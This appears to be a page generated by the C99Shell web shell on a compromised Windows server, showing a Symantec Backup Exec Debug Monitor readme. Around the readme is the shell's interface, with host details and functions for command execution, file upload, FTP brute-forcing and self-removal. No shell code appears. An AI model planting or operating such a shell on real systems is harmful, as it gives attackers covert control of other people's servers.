!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Program Files\Symantec\Backup Exec\RAWS\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.35%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BEDM_Readme.html (11.98 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
 Backup Exec™ Debug Monitor Readme

Backup Exec™ Debug Monitor Readme

About this readme

^Back to top

Read this document carefully before you use Backup Exec Debug Monitor. This readme contains the important information that was discovered after the software was released to the manufacturer.

About Backup Exec Debug Monitor

^Back to top

The Backup Exec Debug Monitor is a diagnostic tool that captures debug output from Backup Exec and saves it in logs. These logs can help you troubleshoot issues and can help Symantec Technical Support diagnose and repair problems.

When you open the Debug Monitor, it automatically captures debug data from the Backup Exec services. To collect debug information while the Debug Monitor is closed, you can enable debug log creation outside of the Debug Monitor and specify a directory to save the logs

Note:

Backup Exec Debug Monitor is available in and supports English only.

Known Issues and Limitations

^Back to top

This section addresses the known issues and limitations of Backup Exec Debug Monitor.

  • If you hide or rearrange columns in the console, the settings are not reflected when you save the console.

  • Copying of huge amount of data from the console to the Clipboard may not complete. This issue occurs if enough memory is not available to complete the copy operation. This issue is beyond the control of Backup Exec Debug Monitor.

  • If the current Backup Exec Debug Monitor log file is huge and you try to open it, Notepad might stop responding. This issue is beyond the control of Debug Monitor.

  • Ensure that you are careful when you set the value for the Chunk size to read log file option. If you set a very big value on a low configuration computer, the logs may fail to load. Whereas, if you set a very small value, a large number of chunks are created.

  • The Lotus Notes debugging setting is selected by default. To navigate to this setting, go to the Debug tab > Settings > Debug Settings > Agents.

  • After you upgrade to Backup Exec 2014 and later from previous releases, if you had set the value of the Log Size Limit Mode field to Rename when the maximum size is reached, the value changes to Max Retention and vice versa.

Copyright notice

^Back to top

Copyright © 2015 Symantec Corporation. All rights reserved.

Symantec and the Symantec Logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners.

The Licensed Software and Documentation are deemed to be commercial computer software as defined in FAR 12.212 and subject to restricted rights as defined in FAR Section 52.227-19 "Commercial Computer Software - Restricted Rights" and DFARS 227.7202, "Rights in Commercial Computer Software or Commercial Computer Software Documentation", as applicable, and any successor regulations. Any use, modification, reproduction release, performance, display, or disclosure of the Licensed Software and Documentation by the U.S. Government shall be solely in accordance with the terms of this Agreement.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 
:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--